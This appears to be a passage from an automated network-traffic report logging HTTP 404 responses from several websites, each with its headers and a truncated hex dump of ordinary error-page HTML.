0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 70 79 73 65 74 2e 63 6f 6d 2f 22 20 3e 0d 0a 20 20 0d 0a 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 34 2e 33 2e 30 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 70 72 69 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 31 2f 63 6f 6d 6d 6f 6e 5f 70 72 69 6e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:33 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:33 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: blu69.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-234.ec2.internalX-Request-Id: 840d9391-29b3-43af-a689-5e64b03bcd35Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-127.ec2.internalX-Request-Id: 8f4dfef4-6b0f-4775-83c5-a8b686d9b4eaData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:34 GMTServer: ApacheX-ServerIndex: llim603Upgrade: h2,h2cConnection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 61 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 24 52 45 47 49 53 54 52 41 4e 54 31 20 24 52 45 47 49 53 54 52 41 4e 54 32 20 24 52 45 47 49 53 54 52 41 4e 54 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 73 79 73 2e 65 73 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 73 65 67 75 69 6d 69 65 6e 74 6f 22 3e 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 45 73 74 61 20 65 73 20 6c 61 20 70 26 61 61 63 75 74 65 3b 67 69 6e 61 20 64 65 3a 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IIS/10.0X-Powered-By: PHP/7.4.2Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:34 GMTContent-Length: 41957Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 